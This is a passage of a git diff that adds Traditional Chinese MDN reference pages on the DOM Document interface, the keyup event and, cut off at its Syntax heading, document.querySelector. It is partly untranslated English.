+ <dd>Returns a {{jsxref("Boolean")}} that is <code>true</code> only if this document is synthetic, such as a standalone image, video, audio file, or the like.</dd>
+ <dt>{{domxref("Document.mozFullScreenElement")}} {{readonlyinline}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}</dt>
+ <dd>The element that's currently in full screen mode for this document.</dd>
+ <dt>{{domxref("Document.mozFullScreenEnabled")}} {{readonlyinline}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}</dt>
+ <dd><code>true</code> if calling {{domxref("Element.mozRequestFullscreen()")}} would succeed in the curent document.</dd>
+ <dt>{{domxref("Document.pointerLockElement")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Returns the element set as the target for mouse events while the pointer is locked. <code>null</code> if lock is pending, pointer is unlocked, or if the target is in another document.</dd>
+ <dt>{{domxref("Document.preferredStyleSheetSet")}} {{readonlyinline}}</dt>
+ <dd>Returns the preferred style sheet set as specified by the page author.</dd>
+ <dt>{{domxref("Document.scrollingElement")}} {{experimental_inline}} {{readonlyinline}}</dt>
+ <dd>Returns a reference to the {{domxref("Element")}} that scrolls the document.</dd>
+ <dt>{{domxref("Document.selectedStyleSheetSet")}}</dt>
+ <dd>Returns which style sheet set is currently in use.</dd>
+ <dt>{{domxref("Document.styleSheets")}} {{readonlyinline}}</dt>
+ <dd>Returns a list of the style sheet objects on the current document.</dd>
+ <dt>{{domxref("Document.styleSheetSets")}} {{readonlyinline}}</dt>
+ <dd>Returns a list of the style sheet sets available on the document.</dd>
+ <dt>{{domxref("Document.timeline")}} {{readonlyinline}}</dt>
+ <dd>…</dd>
+ <dt>{{domxref("Document.undoManager")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>…</dd>
+ <dt>{{domxref("Document.visibilityState")}} {{readonlyinline}}</dt>
+ <dd>
+ <p>Returns a <code>string</code> denoting the visibility state of the document. Possible values are <code>visible</code>, <code>hidden</code>, <code>prerender</code>, and <code>unloaded</code>.</p>
+ </dd>
+ <dt>{{domxref("Document.xmlEncoding")}} {{Deprecated_inline}}</dt>
+ <dd>Returns the encoding as determined by the XML declaration.</dd>
+ <dt>{{domxref("Document.xmlStandalone")}} {{obsolete_inline("10.0")}}</dt>
+ <dd>Returns <code>true</code> if the XML declaration specifies the document to be standalone (<em>e.g.,</em> An external part of the DTD affects the document's content), else <code>false</code>.</dd>
+ <dt>{{domxref("Document.xmlVersion")}} {{obsolete_inline("10.0")}}</dt>
+ <dd>Returns the version number as specified in the XML declaration or <code>"1.0"</code> if the declaration is absent.</dd>
+</dl>
+
+<p>The <code>Document</code> interface is extended with the {{domxref("ParentNode")}} interface:</p>
+
+<p>{{page("/en-US/docs/Web/API/ParentNode","Properties")}}</p>
+
+<h3 id="HTML_文件擴充">HTML 文件擴充</h3>
+
+<p><em><strong><code>window.document</code></strong> 物件的部分屬性繼承自 HTML 文件的 {{domxref("HTMLDocument")}} 介面，或是來自 <code>Document</code> 從 HTML5 之後擴充的屬性。</em></p>
+
+<dl>
+ <dt>{{domxref("Document.activeElement")}} {{readonlyinline}}</dt>
+ <dd>Returns the currently focused element.</dd>
+ <dt>{{domxref("Document.alinkColor")}} {{Deprecated_inline}}</dt>
+ <dd>Returns or sets the color of active links in the document body.</dd>
+ <dt>{{domxref("Document.anchors")}}</dt>
+ <dd>Returns a list of all of the anchors in the document.</dd>
+ <dt>{{domxref("Document.applets")}} {{Deprecated_inline}}</dt>
+ <dd>Returns an ordered list of the applets within a document.</dd>
+ <dt>{{domxref("Document.bgColor")}} {{Deprecated_inline}}</dt>
+ <dd>Gets/sets the background color of the current document.</dd>
+ <dt>{{domxref("Document.body")}}</dt>
+ <dd>Returns the {{HTMLElement("body")}} element of the current document.</dd>
+ <dt>{{domxref("Document.cookie")}}</dt>
+ <dd>Returns a semicolon-separated list of the cookies for that document or sets a single cookie.</dd>
+ <dt>{{domxref("Document.defaultView")}} {{readonlyinline}}</dt>
+ <dd>Returns a reference to the window object.</dd>
+ <dt>{{domxref("Document.designMode")}}</dt>
+ <dd>Gets/sets the ability to edit the whole document.</dd>
+ <dt>{{domxref("Document.dir")}} {{readonlyinline}}</dt>
+ <dd>Gets/sets directionality (rtl/ltr) of the document.</dd>
+ <dt>{{domxref("Document.domain")}} {{readonlyinline}}</dt>
+ <dd>Returns the domain of the current document.</dd>
+ <dt>{{domxref("Document.embeds")}} {{readonlyinline}}</dt>
+ <dd>Returns a list of the embedded {{HTMLElement('embed')}} elements within the current document.</dd>
+ <dt>{{domxref("document.fgColor")}} {{Deprecated_inline}}</dt>
+ <dd>Gets/sets the foreground color, or text color, of the current document.</dd>
+ <dt>{{domxref("Document.forms")}} {{readonlyinline}}</dt>
+ <dd>Returns a list of the {{HTMLElement("form")}} elements within the current document.</dd>
+ <dt>{{domxref("Document.head")}} {{readonlyinline}}</dt>
+ <dd>Returns the {{HTMLElement("head")}} element of the current document.</dd>
+ <dt>{{domxref("Document.height")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Gets/sets the height of the current document.</dd>
+ <dt>{{domxref("Document.images")}} {{readonlyinline}}</dt>
+ <dd>Returns a list of the images in the current document.</dd>
+ <dt>{{domxref("Document.lastModified")}} {{readonlyinline}}</dt>
+ <dd>Returns the date on which the document was last modified.</dd>
+ <dt>{{domxref("Document.linkColor")}} {{Deprecated_inline}}</dt>
+ <dd>Gets/sets the color of hyperlinks in the document.</dd>
+ <dt>{{domxref("Document.links")}} {{readonlyinline}}</dt>
+ <dd>Returns a list of all the hyperlinks in the document.</dd>
+ <dt>{{domxref("Document.location")}} {{readonlyinline}}</dt>
+ <dd>Returns the URI of the current document.</dd>
+ <dt>{{domxref("Document.plugins")}} {{readonlyinline}}</dt>
+ <dd>Returns a list of the available plugins.</dd>
+ <dt>{{domxref("Document.readyState")}} {{readonlyinline}} {{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Returns loading status of the document.</dd>
+ <dt>{{domxref("Document.referrer")}} {{readonlyinline}}</dt>
+ <dd>Returns the URI of the page that linked to this page.</dd>
+ <dt>{{domxref("Document.scripts")}} {{readonlyinline}}</dt>
+ <dd>Returns all the {{HTMLElement("script")}} elements on the document.</dd>
+ <dt>{{domxref("Document.title")}}</dt>
+ <dd>Sets or gets title of the current document.</dd>
+ <dt>{{domxref("Document.URL")}} {{readonlyInline}}</dt>
+ <dd>Returns<span style="line-height: 19.0909080505371px;"> the document location as a string.</span></dd>
+ <dt>{{domxref("Document.vlinkColor")}} {{Deprecated_inline}}</dt>
+ <dd>Gets/sets the color of visited hyperlinks.</dd>
+ <dt>{{domxref("Document.width")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Returns the width of the current document.</dd>
+</dl>
+
+<h3 id="Event_handlers" name="Event_handlers">事件處理器</h3>
+
+<dl>
+ <dt>{{domxref("Document.onafterscriptexecute")}} {{non-standard_inline}}</dt>
+ <dd>Represents the event handling code for the {{event("afterscriptexecute")}} event.</dd>
+ <dt>{{domxref("Document.onbeforescriptexecute")}} {{non-standard_inline}}</dt>
+ <dd>Represents the event handling code for the {{event("beforescriptexecute")}} event.</dd>
+ <dt>{{domxref("Document.oncopy")}} {{non-standard_inline}}</dt>
+ <dd>Represents the event handling code for the {{event("copy")}} event.</dd>
+ <dt>{{domxref("Document.oncut")}} {{non-standard_inline}}</dt>
+ <dd>Represents the event handling code for the {{event("cut")}} event.</dd>
+ <dt>{{domxref("Document.onfullscreenchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("fullscreenchange")}} event is raised.</dd>
+ <dt>{{domxref("Document.onfullscreenerror")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("fullscreenerror")}} event is raised.</dd>
+ <dt>{{domxref("Document.onpaste")}} {{non-standard_inline}}</dt>
+ <dd>Represents the event handling code for the {{event("paste")}} event.</dd>
+ <dt>{{domxref("Document.onpointerlockchange")}} {{experimental_inline}}</dt>
+ <dd>Represents the event handling code for the {{event("pointerlockchange")}} event.</dd>
+ <dt>{{domxref("Document.onpointerlockerror")}} {{experimental_inline}}</dt>
+ <dd>Represetnts the event handling code for the {{event("pointerlockerror")}} event.</dd>
+ <dt>{{domxref("Document.onreadystatechange")}} {{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Represents the event handling code for the {{event("readystatechange")}} event.</dd>
+ <dt>{{domxref("Document.onselectionchange")}} {{experimental_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised.</dd>
+ <dt>{{domxref("Document.onwheel")}} {{non-standard_inline}}</dt>
+ <dd>Represents the event handling code for the {{event("wheel")}} event.</dd>
+</dl>
+
+<p><em>此介面繼承了 {{domxref("GlobalEventHandlers")}} 的事件處理器：</em></p>
+
+<p>{{Page("/zh-TW/docs/Web/API/GlobalEventHandlers", "屬性")}}</p>
+
+<h2 id="Methods" name="Methods">方法</h2>
+
+<p><em>This interface also inherits from the {{domxref("Node")}} and {{domxref("EventTarget")}} interfaces.</em></p>
+
+<dl>
+ <dt>{{domxref("Document.adoptNode()")}}</dt>
+ <dd>Adopt node from an external document.</dd>
+ <dt>{{domxref("Document.captureEvents()")}} {{Deprecated_inline}}</dt>
+ <dd>See {{domxref("Window.captureEvents")}}.</dd>
+ <dt>{{domxref("Document.caretPositionFromPoint()")}}{{experimental_inline}}</dt>
+ <dd>Gets the {{domxref("CaretPosition")}} at or near the specified coordinates.</dd>
+ <dt>{{domxref("Document.caretRangeFromPoint()")}}{{non-standard_inline}}</dt>
+ <dd>Gets a {{Domxref("Range")}} object for the document fragment under the specified coordinates.</dd>
+ <dt>{{domxref("Document.createAttribute()")}}</dt>
+ <dd>Creates a new {{domxref("Attr")}} object and returns it.</dd>
+ <dt>{{domxref("Document.createAttributeNS()")}}</dt>
+ <dd>Creates a new attribute node in a given namespace and returns it.</dd>
+ <dt>{{domxref("Document.createCDATASection()")}}</dt>
+ <dd>Creates a new CDATA node and returns it.</dd>
+ <dt>{{domxref("Document.createComment()")}}</dt>
+ <dd>Creates a new comment node and returns it.</dd>
+ <dt>{{domxref("Document.createDocumentFragment()")}}</dt>
+ <dd>Creates a new document fragment.</dd>
+ <dt>{{domxref("Document.createElement()")}}</dt>
+ <dd>Creates a new element with the given tag name.</dd>
+ <dt>{{domxref("Document.createElementNS()")}}</dt>
+ <dd>Creates a new element with the given tag name and namespace URI.</dd>
+ <dt>{{domxref("Document.createEntityReference()")}} {{obsolete_inline}}</dt>
+ <dd>Creates a new entity reference object and returns it.</dd>
+ <dt>{{domxref("Document.createEvent()")}}</dt>
+ <dd>Creates an event object.</dd>
+ <dt>{{domxref("Document.createNodeIterator()")}}</dt>
+ <dd>Creates a {{domxref("NodeIterator")}} object.</dd>
+ <dt>{{domxref("Document.createProcessingInstruction()")}}</dt>
+ <dd>Creates a new {{domxref("ProcessingInstruction")}} object.</dd>
+ <dt>{{domxref("Document.createRange()")}}</dt>
+ <dd>Creates a {{domxref("Range")}} object.</dd>
+ <dt>{{domxref("Document.createTextNode()")}}</dt>
+ <dd>Creates a text node.</dd>
+ <dt>{{domxref("Document.createTouch()")}}</dt>
+ <dd>Creates a {{domxref("Touch")}} object.</dd>
+ <dt>{{domxref("Document.createTouchList()")}}</dt>
+ <dd>Creates a {{domxref("TouchList")}} object.</dd>
+ <dt>{{domxref("Document.createTreeWalker()")}}</dt>
+ <dd>Creates a {{domxref("TreeWalker")}} object.</dd>
+ <dt>{{domxref("Document.elementFromPoint()")}}{{experimental_inline}}</dt>
+ <dd>Returns the topmost element at the specified coordinates.</dd>
+ <dt>{{domxref("Document.elementsFromPoint()")}}{{experimental_inline}}</dt>
+ <dd>Returns an array of all elements at the specified coordinates.</dd>
+ <dt>{{domxref("Document.enableStyleSheetsForSet()")}}</dt>
+ <dd>Enables the style sheets for the specified style sheet set.</dd>
+ <dt>{{domxref("Document.exitPointerLock()")}} {{experimental_inline}}</dt>
+ <dd>Release the pointer lock.</dd>
+ <dt>{{domxref("Document.getAnimations()")}} {{experimental_inline}}</dt>
+ <dd>Returns an array of all {{domxref("Animation")}} objects currently in effect, whose target elements are descendants of the <code>document</code>.</dd>
+ <dt>{{domxref("Document.getElementsByClassName()")}}</dt>
+ <dd>Returns a list of elements with the given class name.</dd>
+ <dt>{{domxref("Document.getElementsByTagName()")}}</dt>
+ <dd>Returns a list of elements with the given tag name.</dd>
+ <dt>{{domxref("Document.getElementsByTagNameNS()")}}</dt>
+ <dd>Returns a list of elements with the given tag name and namespace.</dd>
+ <dt>{{domxref("Document.importNode()")}}</dt>
+ <dd>Returns a clone of a node from an external document.</dd>
+ <dt>{{domxref("Document.normalizeDocument()")}} {{obsolete_inline}}</dt>
+ <dd>Replaces entities, normalizes text nodes, etc.</dd>
+ <dt>{{domxref("Document.registerElement()")}} {{experimental_inline}}</dt>
+ <dd>Registers a web component.</dd>
+ <dt>{{domxref("Document.releaseCapture()")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Releases the current mouse capture if it's on an element in this document.</dd>
+ <dt>{{domxref("Document.releaseEvents()")}} {{non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd>See {{domxref("Window.releaseEvents()")}}.</dd>
+ <dt>{{domxref("Document.routeEvent()")}} {{non-standard_inline}} {{obsolete_inline(24)}}</dt>
+ <dd>See {{domxref("Window.routeEvent()")}}.</dd>
+ <dt>{{domxref("Document.mozSetImageElement()")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Allows you to change the element being used as the background image for a specified element ID.</dd>
+</dl>
+
+<p>The <code>Document</code> interface is extended with the {{domxref("ParentNode")}} interface:</p>
+
+<dl>
+ <dt>{{domxref("document.getElementById","document.getElementById(String id)")}}</dt>
+ <dd>Returns an object reference to the identified element.</dd>
+ <dt>{{domxref("document.querySelector","document.querySelector(String selector)")}} {{gecko_minversion_inline("1.9.1")}}</dt>
+ <dd>Returns the first Element node within the document, in document order, that matches the specified selectors.</dd>
+ <dt>{{domxref("document.querySelectorAll","document.querySelectorAll(String selector)")}} {{gecko_minversion_inline("1.9.1")}}</dt>
+ <dd>Returns a list of all the Element nodes within the document that match the specified selectors.</dd>
+</dl>
+
+<p>The <code>Document</code> interface is extended with the {{domxref("XPathEvaluator")}} interface:</p>
+
+<dl>
+ <dt>{{domxref("document.createExpression","document.createExpression(String expression, XPathNSResolver resolver)")}}</dt>
+ <dd>Compiles an <code><a href="/en-US/docs/XPathExpression" title="XPathExpression">XPathExpression</a></code> which can then be used for (repeated) evaluations.</dd>
+ <dt>{{domxref("document.createNSResolver","document.createNSResolver(Node resolver)")}}</dt>
+ <dd>Creates an {{domxref("XPathNSResolver")}} object.</dd>
+ <dt>{{domxref("document.evaluate","document.evaluate(String expression, Node contextNode, XPathNSResolver resolver, Number type, Object result)")}}</dt>
+ <dd>Evaluates an XPath expression.</dd>
+</dl>
+
+<h3 id="HTML_文件擴充_2">HTML 文件擴充</h3>
+
+<p><code>Document</code> 物件的部分方法繼承自 HTML 文件的 {{domxref("HTMLDocument")}} 介面，或是來自 <code>Document</code> 從 HTML5 之後擴充的方法：</p>
+
+<dl>
+ <dt>{{domxref("document.clear()")}} {{non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd>In majority of modern browsers, including recent versions of Firefox and Internet Explorer, this method does nothing.</dd>
+ <dt>{{domxref("document.close()")}}</dt>
+ <dd>Closes a document stream for writing.</dd>
+ <dt>{{domxref("document.execCommand","document.execCommand(String command[, Boolean showUI[, String value]])")}}</dt>
+ <dd>On an editable document, executes a formating command.</dd>
+ <dt>{{domxref("document.getElementsByName","document.getElementsByName(String name)")}}</dt>
+ <dd>Returns a list of elements with the given name.</dd>
+ <dt>{{domxref("document.getSelection()")}}</dt>
+ <dd>Returns a {{domxref("Selection")}} object related to text selected in the document.</dd>
+ <dt>{{domxref("document.hasFocus()")}}</dt>
+ <dd>Returns <code>true</code> if the focus is currently located anywhere inside the specified document.</dd>
+ <dt>{{domxref("document.open()")}}</dt>
+ <dd>Opens a document stream for writing.</dd>
+ <dt>{{domxref("document.queryCommandEnabled","document.queryCommandEnabled(String command)")}}</dt>
+ <dd>Returns true if the formating command can be executed on the current range.</dd>
+ <dt>{{domxref("document.queryCommandIndeterm","document.queryCommandIndeterm(String command)")}}</dt>
+ <dd>Returns true if the formating command is in an indeterminate state on the current range.</dd>
+ <dt>{{domxref("document.queryCommandState","document.queryCommandState(String command)")}}</dt>
+ <dd>Returns true if the formating command has been executed on the current range.</dd>
+ <dt>{{domxref("document.queryCommandSupported","document.queryCommandSupported(String command)")}}</dt>
+ <dd>Returns true if the formating command is supported on the current range.</dd>
+ <dt>{{domxref("document.queryCommandValue","document.queryCommandValue(String command)")}}</dt>
+ <dd>Returns the current value of the current range for a formating command.</dd>
+ <dt>{{domxref("document.write","document.write(String text)")}}</dt>
+ <dd>Writes text in a document.</dd>
+ <dt>{{domxref("document.writeln","document.writeln(String text)")}}</dt>
+ <dd>Writes a line of text in a document.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selection API', '', 'Extend Document and GlobalEventHandlers')}}</td>
+   <td>{{Spec2('Selection API')}}</td>
+   <td>Adds <code>onselectstart</code> and <code>onselectionchange</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','#i-Document','Document')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition for the interface</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','#i-Document','Document')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Supersede DOM 1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','#i-Document','Document')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Supersede DOM 2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-document','Document')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Intend to supersede DOM 3</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','dom.html#the-document-object','Document')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Turn the {{domxref("HTMLDocument")}} interface into a <code>Document</code> extension.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 XPath','xpath.html#XPathEvaluator','XPathEvaluator')}}</td>
+   <td>{{Spec2('DOM3 XPath')}}</td>
+   <td>Define the {{domxref("XPathEvaluator")}} interface which extend document.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Page Visibility API', '#sec-document-interface', 'Document')}}</td>
+   <td>{{Spec2('Page Visibility API')}}</td>
+   <td>Extend the <code>Document</code> interface with the <code>visibilityState</code> and <code>hidden</code> attributes</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Editing','#dom-document-getselection','Document')}}</td>
+   <td>{{Spec2('HTML Editing')}}</td>
+   <td>Extend the <code>Document</code> interface</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View','#extensions-to-the-document-interface','Document')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Extend the <code>Document</code> interface</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM','#extensions-to-the-document-interface','Document')}}</td>
+   <td>{{Spec2('CSSOM')}}</td>
+   <td>Extend the <code>Document</code> interface</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock','#extensions-to-the-document-interface','Document')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Extend the <code>Document</code> interface</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性備註">瀏覽器相容性備註</h2>
+
+<h3 id="Firefox_notes">Firefox notes</h3>
+
+<p>Mozilla defines a set of non-standard properties made only for XUL content:</p>
+
+<dl>
+ <dt>{{domxref("document.currentScript")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Returns the {{HTMLElement("script")}} element that is currently executing.</dd>
+ <dt>{{domxref("document.documentURIObject")}} {{gecko_minversion_inline("1.9")}}</dt>
+ <dd>(<strong>Mozilla add-ons only!</strong>) Returns the {{Interface("nsIURI")}} object representing the URI of the document. This property only has special meaning in privileged JavaScript code (with UniversalXPConnect privileges).</dd>
+ <dt>{{domxref("document.popupNode")}}</dt>
+ <dd>Returns the node upon which a popup was invoked.</dd>
+ <dt>{{domxref("document.tooltipNode")}}</dt>
+ <dd>Returns the node which is the target of the current tooltip.</dd>
+</dl>
+
+<p>Mozilla also define some non-standard methods:</p>
+
+<dl>
+ <dt>{{domxref("document.execCommandShowHelp")}} {{obsolete_inline("14.0")}}</dt>
+ <dd>This method never did anything and always threw an exception, so it was removed in Gecko 14.0 {{geckoRelease("14.0")}}.</dd>
+ <dt>{{domxref("document.getBoxObjectFor")}} {{obsolete_inline}}</dt>
+ <dd>Use the {{domxref("Element.getBoundingClientRect()")}} method instead.</dd>
+ <dt>{{domxref("document.loadOverlay")}} {{Fx_minversion_inline("1.5")}}</dt>
+ <dd>Loads a <a href="/en-US/docs/XUL_Overlays" title="XUL_Overlays">XUL overlay</a> dynamically. This only works in XUL documents.</dd>
+ <dt>{{domxref("document.queryCommandText")}} {{obsolete_inline("14.0")}}</dt>
+ <dd>This method never did anything but throw an exception, and was removed in Gecko 14.0 {{geckoRelease("14.0")}}.</dd>
+</dl>
+
+<h3 id="Internet_Explorer_notes">Internet Explorer notes</h3>
+
+<p>Microsoft defines some non-standard properties:</p>
+
+<dl>
+ <dt>{{domxref("document.fileSize")}}* {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Returns size in bytes of the document. Starting with Internet Explorer 11, that property is no longer supported. See <a href="http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx">MSDN</a>.</dd>
+ <dt><span style="font-weight: normal; line-height: 1.5;">Internet Explorer does not support all methods from the <code>Node</code> interface in the <code>Document</code> interface:</span></dt>
+</dl>
+
+<dl>
+ <dt>{{domxref("document.contains")}}</dt>
+ <dd>As a work-around, <code>document.body.contains()</code> can be used.</dd>
+</dl>
diff --git a/files/zh-tw/web/api/document/keyup_event/index.html b/files/zh-tw/web/api/document/keyup_event/index.html
new file mode 100644
index 0000000000..3568b30c18
--- /dev/null
+++ b/files/zh-tw/web/api/document/keyup_event/index.html
@@ -0,0 +1,149 @@
+---
+title: keyup
+slug: Web/API/Document/keyup_event
+translation_of: Web/API/Document/keyup_event
+---
+<p>當鍵盤上的手指離開按鍵時，<code>keyup事件會被觸發。</code></p>
+
+<h2 id="基本資料">基本資料</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">詳述</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keyup">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">介面</dt>
+ <dd style="margin: 0 0 0 120px;"><a href="http://developer.mozilla.org/en-US/docs/DOM/KeyboardEvent" title="http://en-US/docs/DOM/KeyboardEvent">KeyboardEvent</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">網頁文件, 網頁元素</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None</dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>DOMString</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>Boolean</td>
+   <td>Whether the event normally bubbles or not</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>Boolean</td>
+   <td>Whether the event is cancellable or not?</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td>WindowProxy</td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>EventTarget (DOM element)</td>
+   <td>Focused element processing the key event, root element if no suitable input element focused.</td>
+  </tr>
+  <tr>
+   <td><code>char</code> {{readonlyInline}}</td>
+   <td>DOMString (string)</td>
+   <td>The character value of the key. If the key corresponds to a printable character, this value is a non-empty Unicode string containing that character. If the key doesn't have a printable representation, this is an empty string. See <a href="/en-US/docs/Web/API/KeyboardEvent#Key_names_and_Char_values">key names and char values</a> for the detail.
+    <div class="note"><strong>Note:</strong> If the key is used as a macro that inserts multiple characters, this attribute's value is the entire string, not just the first character.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>key</code> {{readonlyInline}}</td>
+   <td>DOMString (string)</td>
+   <td>The key value of the key represented by the event. If the value has a printed representation, this attribute's value is the same as the <code>char</code> attribute. Otherwise, it's one of the key value strings specified in {{ anch("Key values") }}. If the key can't be identified, this is the string "Unidentified". See <a href="/en-US/docs/Web/API/KeyboardEvent#Key_names_and_Char_values">key names and char values</a> for the detail. Read Only.</td>
+  </tr>
+  <tr>
+   <td><code>charCode</code> {{readonlyInline}}</td>
+   <td>Unsigned long (int)</td>
+   <td>The Unicode reference number of the key; this attribute is used only by the <a href="/en-US/docs/Mozilla_event_reference/keypress"><code>keypress</code></a> event. For keys whose <code>char</code> attribute contains multiple characters, this is the Unicode value of the first character in that attribute.
+    <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>char</code> instead, if available.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>keyCode</code> {{readonlyInline}}</td>
+   <td>Unsigned long (int)</td>
+   <td>A system and implementation dependent numerical code identifying the unmodified value of the pressed key. This is usually the decimal ASCII ({{ RFC(20) }}) or Windows 1252 code corresponding to the key; see {{ anch("Virtual key codes") }} for a list of common values. If the key can't be identified, this value is 0.
+    <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>which</code> {{readonlyInline}}</td>
+   <td>Unsigned long (int)</td>
+   <td>A system and implementation dependent numeric code identifying the unmodified value of the pressed key; this is usually the same as <code>keyCode</code>.
+    <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>location</code> {{readonlyInline}}</td>
+   <td>long (float)</td>
+   <td>The location of the key on the device.</td>
+  </tr>
+  <tr>
+   <td><code>repeat</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if a key has been depressed long enough to trigger key repetition, otherwise <code>false</code>.</td>
+  </tr>
+  <tr>
+   <td><code>locale</code> {{readonlyInline}}</td>
+   <td>string</td>
+   <td>The language code for the key event, if available; otherwise, the empty string.</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Related_Events">Related Events</h2>
+
+<ul>
+ <li>{{event("keydown")}}</li>
+ <li>{{event("keyup")}}</li>
+ <li>{{event("keypress")}}</li>
+ <li>{{event("input")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/document/queryselector/index.html b/files/zh-tw/web/api/document/queryselector/index.html
new file mode 100644
index 0000000000..a79edb1c1f
--- /dev/null
+++ b/files/zh-tw/web/api/document/queryselector/index.html
@@ -0,0 +1,102 @@
+---
+title: document.querySelector
+slug: Web/API/Document/querySelector
+tags:
+  - DOM
+  - Fixit
+  - Gecko DOM Reference
+  - Gecko DOM 參考
+  - Selectors
+  - 選擇器
+translation_of: Web/API/Document/querySelector
+---
+<div>
+ {{ApiRef()}}</div>
+<h2 id="Summary" name="Summary">摘要</h2>
+<p>回傳 document 第一個符合特定選擇器群組的元素（採用深度優先，前序追蹤 document 節點）。</p>
+<h2 id="Syntax" name="Syntax">語法</h2>
